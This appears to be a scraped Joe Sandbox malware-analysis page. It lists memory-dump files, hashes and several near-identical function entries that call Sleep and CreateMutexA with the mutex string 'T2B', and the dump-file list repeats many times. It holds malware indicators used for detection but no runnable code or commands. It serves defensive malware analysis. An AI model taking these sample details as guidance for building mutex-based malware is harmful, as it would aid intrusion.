Associated: 00000000.00000002.1808599215.0000000000599000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808623845.000000000059B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808647706.00000000005B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808668774.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808690806.00000000005B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808690806.00000000005BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808730928.00000000005C1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808752663.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808775544.00000000005D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808799303.00000000005D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808855974.00000000005DA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808874785.00000000005DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808956692.00000000005EE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809003323.00000000005F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809026190.00000000005F7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809055759.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809100599.000000000061A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809180000.000000000061C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809205324.0000000000625000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809255233.000000000062B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809281642.000000000062C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809308716.0000000000633000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809327495.0000000000634000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809356057.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809411373.0000000000645000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809449161.000000000064C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809496222.0000000000654000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809520177.0000000000655000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809546465.000000000065D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809590670.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809641443.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809670546.0000000000670000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809722543.0000000000679000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809752167.000000000067D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809752167.000000000069B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809854976.00000000006C5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809877324.00000000006C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809930471.00000000006C9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809957565.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809980244.00000000006D1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810045560.00000000006DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810066277.00000000006E0000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3c0000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2B
API String ID: 1464230837-3780520883
Opcode ID: 54126ec54130611cfcc4b49be4fdffe0f581e75c84c098b060fefc1b8cfe9ef2
Instruction ID: eff899e6f5514414806dc29bf1711ea5788e0527270874477614b9fb3864a65d
Opcode Fuzzy Hash: 54126ec54130611cfcc4b49be4fdffe0f581e75c84c098b060fefc1b8cfe9ef2
Instruction Fuzzy Hash: 36314A327105089BEB199F78DC89BACB772EB85314F20865DE014EB3D1C735AD808752

Function 003CA079 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 136
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 003CA963
CreateMutexA.KERNEL32(00000000,00000000,00423254), ref: 003CA981

Strings

T2B, xrefs: 003CA970

Memory Dump Source

Source File: 00000000.00000002.1808165933.00000000003C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003C0000, based on PE: true

Associated: 00000000.00000002.1808102383.00000000003C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808165933.0000000000422000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808400812.0000000000429000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808424639.000000000042B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808452932.0000000000437000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808599215.0000000000599000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808623845.000000000059B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808647706.00000000005B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808668774.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808690806.00000000005B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808690806.00000000005BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808730928.00000000005C1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808752663.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808775544.00000000005D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808799303.00000000005D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808855974.00000000005DA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808874785.00000000005DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808956692.00000000005EE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809003323.00000000005F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809026190.00000000005F7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809055759.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809100599.000000000061A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809180000.000000000061C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809205324.0000000000625000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809255233.000000000062B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809281642.000000000062C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809308716.0000000000633000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809327495.0000000000634000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809356057.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809411373.0000000000645000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809449161.000000000064C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809496222.0000000000654000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809520177.0000000000655000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809546465.000000000065D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809590670.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809641443.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809670546.0000000000670000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809722543.0000000000679000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809752167.000000000067D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809752167.000000000069B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809854976.00000000006C5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809877324.00000000006C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809930471.00000000006C9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809957565.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809980244.00000000006D1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810045560.00000000006DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810066277.00000000006E0000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3c0000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2B
API String ID: 1464230837-3780520883
Opcode ID: 32c8a81ef57dcce8b0ab822455f3a9896856cdb4091e9bd347faf29ae351b1c7
Instruction ID: 0081ea42649fb55c854484f27d134c6cd2c767e2483881b73ac0a6b18dd795a3
Opcode Fuzzy Hash: 32c8a81ef57dcce8b0ab822455f3a9896856cdb4091e9bd347faf29ae351b1c7
Instruction Fuzzy Hash: E2312632710A089BEB1A9B78DD85F6DB772DB85318F24861DE014DB7D1C73AAD808762

Function 003CA1AE Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 135
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 003CA963
CreateMutexA.KERNEL32(00000000,00000000,00423254), ref: 003CA981

Strings

T2B, xrefs: 003CA970

Memory Dump Source

Source File: 00000000.00000002.1808165933.00000000003C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003C0000, based on PE: true

Associated: 00000000.00000002.1808102383.00000000003C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808165933.0000000000422000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808400812.0000000000429000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808424639.000000000042B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808452932.0000000000437000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808599215.0000000000599000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808623845.000000000059B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808647706.00000000005B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808668774.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808690806.00000000005B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808690806.00000000005BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808730928.00000000005C1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808752663.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808775544.00000000005D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808799303.00000000005D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808855974.00000000005DA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808874785.00000000005DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808956692.00000000005EE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809003323.00000000005F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809026190.00000000005F7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809055759.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809100599.000000000061A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809180000.000000000061C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809205324.0000000000625000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809255233.000000000062B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809281642.000000000062C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809308716.0000000000633000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809327495.0000000000634000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809356057.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809411373.0000000000645000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809449161.000000000064C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809496222.0000000000654000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809520177.0000000000655000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809546465.000000000065D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809590670.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809641443.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809670546.0000000000670000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809722543.0000000000679000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809752167.000000000067D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809752167.000000000069B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809854976.00000000006C5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809877324.00000000006C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809930471.00000000006C9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809957565.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809980244.00000000006D1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810045560.00000000006DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810066277.00000000006E0000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3c0000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2B
API String ID: 1464230837-3780520883
Opcode ID: 003851b9ce5feccc5b6194d6f219c1e454824f74247c8d1a1cd6752c213c8ad8
Instruction ID: 32151210163be18c8acfc8bca67508fb6df03902bdf7c7cd645f14d22b7d6dae
Opcode Fuzzy Hash: 003851b9ce5feccc5b6194d6f219c1e454824f74247c8d1a1cd6752c213c8ad8
Instruction Fuzzy Hash: 4D3118327105089BEB199F78DD89F6DB772AB85318F24861DE014DB3D1D7369D808752

Function 003CA418 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 003CA963
CreateMutexA.KERNEL32(00000000,00000000,00423254), ref: 003CA981

Strings

T2B, xrefs: 003CA970

Memory Dump Source

Source File: 00000000.00000002.1808165933.00000000003C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003C0000, based on PE: true

Associated: 00000000.00000002.1808102383.00000000003C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808165933.0000000000422000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808400812.0000000000429000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808424639.000000000042B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808452932.0000000000437000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808599215.0000000000599000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808623845.000000000059B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808647706.00000000005B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808668774.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808690806.00000000005B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808690806.00000000005BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808730928.00000000005C1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808752663.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808775544.00000000005D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808799303.00000000005D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808855974.00000000005DA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808874785.00000000005DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808956692.00000000005EE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809003323.00000000005F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809026190.00000000005F7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809055759.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809100599.000000000061A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809180000.000000000061C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809205324.0000000000625000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809255233.000000000062B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809281642.000000000062C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809308716.0000000000633000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809327495.0000000000634000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809356057.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809411373.0000000000645000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809449161.000000000064C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809496222.0000000000654000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809520177.0000000000655000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809546465.000000000065D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809590670.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809641443.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809670546.0000000000670000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809722543.0000000000679000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809752167.000000000067D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809752167.000000000069B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809854976.00000000006C5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809877324.00000000006C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809930471.00000000006C9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809957565.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809980244.00000000006D1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810045560.00000000006DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810066277.00000000006E0000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3c0000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2B
API String ID: 1464230837-3780520883
Opcode ID: 7236e071320c47a5b6a9f1a378fba0fad9c65a1b29faaccfa58cd4f419bf714e
Instruction ID: d78cebce3d1ced437f21553bd00cfa06d268154746e12b5891e227aff3609407
Opcode Fuzzy Hash: 7236e071320c47a5b6a9f1a378fba0fad9c65a1b29faaccfa58cd4f419bf714e
Instruction Fuzzy Hash: 1C313731B105089BEB0E9B78DC8AF6DB672EB85318F20821DE054DB3D5C7759D808766

Function 003CA54D Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 132
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 003CA963
CreateMutexA.KERNEL32(00000000,00000000,00423254), ref: 003CA981

Strings

T2B, xrefs: 003CA970

Memory Dump Source

Source File: 00000000.00000002.1808165933.00000000003C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003C0000, based on PE: true

Associated: 00000000.00000002.1808102383.00000000003C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808165933.0000000000422000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808400812.0000000000429000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808424639.000000000042B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808452932.0000000000437000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808599215.0000000000599000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808623845.000000000059B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808647706.00000000005B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808668774.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808690806.00000000005B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808690806.00000000005BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808730928.00000000005C1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808752663.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808775544.00000000005D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808799303.00000000005D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808855974.00000000005DA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808874785.00000000005DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808956692.00000000005EE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809003323.00000000005F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809026190.00000000005F7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809055759.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809100599.000000000061A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809180000.000000000061C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809205324.0000000000625000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809255233.000000000062B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809281642.000000000062C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809308716.0000000000633000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809327495.0000000000634000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809356057.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809411373.0000000000645000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809449161.000000000064C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809496222.0000000000654000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809520177.0000000000655000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809546465.000000000065D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809590670.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809641443.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809670546.0000000000670000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809722543.0000000000679000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809752167.000000000067D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809752167.000000000069B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809854976.00000000006C5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809877324.00000000006C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809930471.00000000006C9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809957565.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809980244.00000000006D1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810045560.00000000006DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810066277.00000000006E0000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3c0000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2B
API String ID: 1464230837-3780520883
Opcode ID: a2a8d451bbc7e7b503b019a81b3ca2590503fe4c745657ce34a3306bc74e4b9b
Instruction ID: 3ef82baa6c6dc81e1b78e0c946a59da3aa203f987cf141a984e5695a32cb9dab
Opcode Fuzzy Hash: a2a8d451bbc7e7b503b019a81b3ca2590503fe4c745657ce34a3306bc74e4b9b
Instruction Fuzzy Hash: 37312731B105089BEB0ADB78D98AF6CB772AB86318F24861DE054DB3D1C7399D918762

Function 003CA682 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 131
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 003CA963
CreateMutexA.KERNEL32(00000000,00000000,00423254), ref: 003CA981

Strings

T2B, xrefs: 003CA970

Memory Dump Source

Source File: 00000000.00000002.1808165933.00000000003C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003C0000, based on PE: true

Associated: 00000000.00000002.1808102383.00000000003C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808165933.0000000000422000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808400812.0000000000429000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808424639.000000000042B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808452932.0000000000437000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808599215.0000000000599000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808623845.000000000059B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808647706.00000000005B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808668774.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808690806.00000000005B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808690806.00000000005BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808730928.00000000005C1000.00000080.00000001.01000000.00000003.sdmpDownload File
